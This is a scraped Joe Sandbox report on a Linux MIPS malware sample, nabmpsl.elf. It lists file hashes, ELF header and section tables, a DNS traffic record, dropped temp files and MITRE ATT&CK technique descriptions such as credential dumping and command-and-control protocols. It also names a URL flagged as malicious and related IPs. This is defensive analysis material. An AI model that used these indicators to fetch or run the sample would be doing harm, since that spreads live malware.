	https://link.edgepilot.com/s/3b095c08/ZyRgSnzc50mRg_8d-46dUQ?u=https://kingdompch.com/	Get hash	malicious	Unknown	Browse	34.149.66.134
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191

Process:	/tmp/nabmpsl.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.1553435289331504
Encrypted:	false
SSDEEP:	6:URjVceFXEVPj/VcceFXZT/V/BHT/VDM/V+4D/VH:IjqeWRePHRMfF
MD5:	469818329DADA103CF63D0F5BCDF1424
SHA1:	8D463738B7531742602296AFC1047494656A7BE4
SHA-256:	AFA330F6A5C89341048F8FC462DF2CEBA4569CDBBEDB471187AC5D82137FB908
SHA-512:	71F146A57495D84D9638CB96C9D4F18B9267406720A4CF92F2F684352DC9C475FDD429BD205F4F70F1B6C5534C5DEACBB4D2D02401F621033FDA558FC4F614B2
Malicious:	false
Reputation:	low
Preview:	400000-40d000 r-xp 00000000 fd:00 531567 /tmp/..44d000-44e000 rw-p 0000d000 fd:00 531567 /tmp/..44e000-450000 rw-p 00000000 00:00 0 .450000-451000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.424467518944301
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabmpsl.elf
File size:	55'560 bytes
MD5:	e80ee951498c0a16b446698291be44b7
SHA1:	b434abf4bdc00dacf68fea4d0fad53c010164c1b
SHA256:	405aff6c8d2ad06dc64cf80d38f24566d88a8a5a43396ed717c1972fd6c47814
SHA512:	acb18d0bbbf0b1a8c805ff337fcd167168406b2feee4b2fb88cd4babc67a0410c01e0da98cc0d98f759843ffad4fbbc97b56d9d9e53fd8caaa206c888044e40c
SSDEEP:	1536:ojIdVsZQ6OkSuqASP+WMH6cXb3aWbaYwICpT3bsR9Y:ojIh6j7BST3QY
TLSH:	4443A8497B618EEBD8AFCC37457D4B45348D820722A43BB57874E418F36A54F4BE38A8
File Content Preview:	.ELF....................`.@.4...........4. ...(...............@...@. ... .....................D...D.D...(...........Q.td...............................<.Q.'!......'.......................<.Q.'!... .........9'.. ........................<xQ.'!.............9

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	54960
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0xbd10	0x0	0x6	AX	16
.fini	PROGBITS	0x40be30	0xbe30	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x40be90	0xbe90	0xe90	0x0	0x2	A	16
.ctors	PROGBITS	0x44d000	0xd000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x44d008	0xd008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x44d010	0xd010	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x44d014	0xd014	0xd8	0x0	0x3	WA	4
.data	PROGBITS	0x44d0f0	0xd0f0	0x180	0x0	0x3	WA	16
.got	PROGBITS	0x44d270	0xd270	0x3d4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x44d644	0xd644	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x44d670	0xd644	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0xd644	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xd644	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xcd20	0xcd20	5.5251	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd000	0x44d000	0x44d000	0x644	0x1828	3.2967	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 23:11:54.839157104 CET	45583	53	192.168.2.13	185.181.61.24
Nov 26, 2024 23:11:55.097853899 CET	53	45583	185.181.61.24	192.168.2.13

Start time (UTC):	22:11:52
Start date (UTC):	26/11/2024
Path:	/tmp/nabmpsl.elf
Arguments:	/tmp/nabmpsl.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	22:11:53
Start date (UTC):	26/11/2024
Path:	/tmp/nabmpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabmpsl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0ap0xL (deleted)

/tmp/qemu-open.1K4djM (deleted)

/tmp/qemu-open.1gACYM (deleted)

/tmp/qemu-open.2EaWgM (deleted)

/tmp/qemu-open.2LALyO (deleted)

/tmp/qemu-open.2gdfXM (deleted)

/tmp/qemu-open.3V2gMO (deleted)

/tmp/qemu-open.49csRO (deleted)

/tmp/qemu-open.5Nqd6M (deleted)

/tmp/qemu-open.6O5reM (deleted)

/tmp/qemu-open.71ibWK (deleted)

/tmp/qemu-open.7tZLKM (deleted)

/tmp/qemu-open.8YxHoN (deleted)

/tmp/qemu-open.8txKnL (deleted)

/tmp/qemu-open.9XquUL (deleted)

/tmp/qemu-open.9ciSSM (deleted)

/tmp/qemu-open.AJS7rL (deleted)

/tmp/qemu-open.AknEfP (deleted)

/tmp/qemu-open.AnmhsL (deleted)

/tmp/qemu-open.AsJ7JO (deleted)

/tmp/qemu-open.BsWvwN (deleted)

/tmp/qemu-open.C2TXlN (deleted)

/tmp/qemu-open.C7jsUO (deleted)

/tmp/qemu-open.CodjdO (deleted)

/tmp/qemu-open.Dh2hbO (deleted)

/tmp/qemu-open.DjD4lN (deleted)

/tmp/qemu-open.FPzbWO (deleted)

/tmp/qemu-open.G6TwyO (deleted)

/tmp/qemu-open.Gf4jbL (deleted)

/tmp/qemu-open.IJY5AM (deleted)

/tmp/qemu-open.IUqi7N (deleted)

/tmp/qemu-open.J8l6IM (deleted)

/tmp/qemu-open.JOfnrN (deleted)

/tmp/qemu-open.JSmKaL (deleted)

Linux Analysis Report
nabmpsl.elf

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre